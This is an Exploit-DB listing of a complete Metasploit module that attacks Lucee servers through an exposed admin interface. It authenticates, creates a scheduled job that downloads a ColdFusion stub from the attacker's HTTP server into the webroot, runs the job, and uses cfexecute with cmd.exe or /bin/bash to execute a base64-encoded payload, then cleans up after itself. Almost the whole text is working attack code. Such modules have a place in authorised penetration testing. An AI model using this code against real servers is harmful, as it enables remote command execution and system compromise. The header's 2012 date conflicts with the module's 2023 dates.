Lucee Scheduled Job v1.0 – Command Execution

  • 作者: Alexander Philiotis
    日期: 2023-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51333/
  • # Exploit Title: Lucee Scheduled Job v1.0 -Command Execution
    # Date: 3-23-2012
    # Exploit Author: Alexander Philiotis
    # Vendor Homepage: https://www.lucee.org/
    # Software Link: https://download.lucee.org/
    # Version: All versions with scheduled jobs enabled
    # Tested on: Linux - Debian, Lubuntu & Windows 10
    # Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Retry
    include Msf::Exploit::FileDropper
    require 'base64'
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
    'Description' => %q{
    This module can be used to execute a payload on Lucee servers that have an exposed
    administrative web interface. It's possible for an administrator to create a
    scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
    when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
    the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
    on Linux, it is either the root user or lucee.
    },
    'Targets' => [
    [
    'Windows Command',
    {
    'Platform' => 'win',
    'Arch' => ARCH_CMD,
    'Type' => :windows_cmd
    }
    ],
    [
    'Unix Command',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Type' => :unix_cmd
    }
    ]
    ],
    'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
    'License' => MSF_LICENSE,
    'References' => [
    # This abuses the functionality inherent to the Lucee platform and
    # thus is not related to any CVEs.
    
    # Lucee Docs
    ['URL', 'https://docs.lucee.org/'],
    
    # cfexecute & cfscript documentation
    ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
    ['URL', 'https://docs.lucee.org/reference/tags/script.html'],
    ],
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => [
    # /opt/lucee/server/lucee-server/context/logs/application.log
    # /opt/lucee/web/logs/exception.log
    IOC_IN_LOGS,
    ARTIFACTS_ON_DISK,
    # ColdFusion files located at the webroot of the Lucee server
    # C:/lucee/tomcat/webapps/ROOT/ by default on Windows
    # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
    ]
    },
    'Stance' => Msf::Exploit::Stance::Aggressive,
    'DisclosureDate' => '2023-02-10'
    )
    )
    
    register_options(
    [
    Opt::RPORT(8888),
    OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
    OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
    OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
    ]
    )
    deregister_options('URIPATH')
    end
    
    def exploit
    payload_base = rand_text_alphanumeric(8..16)
    authenticate
    
    start_service({
    'Uri' => {
    'Proc' => proc do |cli, req|
    print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
    send_response(cli, cfm_stub)
    end,
    'Path' => '/' + payload_base + '.cfm'
    }
    })
    
    #
    # Create the scheduled job
    #
    create_job(payload_base)
    
    #
    # Execute the scheduled job and attempt to send a GET request to it.
    #
    execute_job(payload_base)
    print_good('Exploit completed.')
    
    #
    # Removes the scheduled job
    #
    print_status('Removing scheduled job ' + payload_base)
    cleanup_request = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path),
    'vars_get' => {
    'action' => 'services.schedule'
    },
    'vars_post' => {
    'row_1' => '1',
    'name_1' => payload_base.to_s,
    'mainAction' => 'delete'
    }
    })
    if cleanup_request && cleanup_request.code == 302
    print_good('Scheduled job removed.')
    else
    print_bad('Failed to remove scheduled job.')
    end
    end
    
    def authenticate
    auth = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path),
    'keep_cookies' => true,
    'vars_post' => {
    'login_passwordweb' => datastore['PASSWORD'],
    'lang' => 'en',
    'rememberMe' => 's',
    'submit' => 'submit'
    }
    })
    
    unless auth
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    
    unless auth.code == 200 && auth.body.include?('nav_Security')
    fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
    end
    
    print_good('Authenticated successfully')
    end
    
    def create_job(payload_base)
    create_job = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path),
    'keep_cookies' => true,
    'vars_get' => {
    'action' => 'services.schedule',
    'action2' => 'create'
    },
    'vars_post' => {
    'name' => payload_base,
    'url' => get_uri.to_s,
    'interval' => '3600',
    'start_day' => '01',
    'start_month' => '02',
    'start_year' => '2023',
    'start_hour' => '00',
    'start_minute' => '00',
    'start_second' => '00',
    'run' => 'create'
    }
    })
    
    fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
    
    print_good('Job ' + payload_base + ' created successfully')
    job_file_path = file_path = webroot
    fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
    
    case target['Type']
    when :unix_cmd
    file_path << '/'
    job_file_path = "#{job_file_path.gsub('/', '//')}//"
    when :windows_cmd
    file_path << '\\'
    job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
    end
    update_job = send_request_cgi({
    'method' => 'POST',
    'uri' => target_uri.path,
    'keep_cookies' => true,
    'vars_get' => {
    'action' => 'services.schedule',
    'action2' => 'edit',
    'task' => create_job.headers['location'].split('=')[-1]
    },
    'vars_post' => {
    'name' => payload_base,
    'url' => get_uri.to_s,
    'port' => datastore['SRVPORT'],
    'timeout' => '50',
    'username' => '',
    'password' => '',
    'proxyserver' => '',
    'proxyport' => '',
    'proxyuser' => '',
    'proxypassword' => '',
    'publish' => 'true',
    'file' => "#{job_file_path}#{payload_base}.cfm",
    'start_day' => '01',
    'start_month' => '02',
    'start_year' => '2023',
    'start_hour' => '00',
    'start_minute' => '00',
    'start_second' => '00',
    'end_day' => '',
    'end_month' => '',
    'end_year' => '',
    'end_hour' => '',
    'end_minute' => '',
    'end_second' => '',
    'interval_hour' => '1',
    'interval_minute' => '0',
    'interval_second' => '0',
    'run' => 'update'
    }
    })
    
    fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
    register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
    print_good('Job ' + payload_base + ' updated successfully')
    end
    
    def execute_job(payload_base)
    print_status("Executing scheduled job: #{payload_base}")
    job_execution = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path),
    'vars_get' => {
    'action' => 'services.schedule'
    },
    'vars_post' => {
    'row_1' => '1',
    'name_1' => payload_base,
    'mainAction' => 'execute'
    }
    
    })
    
    fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
    fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
    
    print_good('Job ' + payload_base + ' executed successfully')
    
    payload_response = nil
    retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
    print_status('Attempting to access payload...')
    payload_response = send_request_cgi(
    'uri' => '/' + payload_base + '.cfm',
    'method' => 'GET'
    )
    payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
    end
    
    # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
    fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
    
    if payload_response.nil?
    print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    elsif payload_response.code == 200
    print_good('Received 200 response from ' + payload_base + '.cfm')
    output = payload_response.body.strip
    if output.include?("\n")
    print_good('Output:')
    print_line(output)
    elsif output.present?
    print_good('Output: ' + output)
    end
    elsif payload_response.code == 500
    print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    end
    end
    
    def webroot
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path)
    })
    return nil unless res
    
    res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
    end
    
    def cfm_stub
    case target['Type']
    when :windows_cmd
    <<~CFM.gsub(/^\s+/, '').tr("\n", '')
    <cfscript>
    cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
    </cfscript>
    CFM
    when :unix_cmd
    <<~CFM.gsub(/^\s+/, '').tr("\n", '')
    <cfscript>
    cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
    </cfscript>
    CFM
    end
    end
    end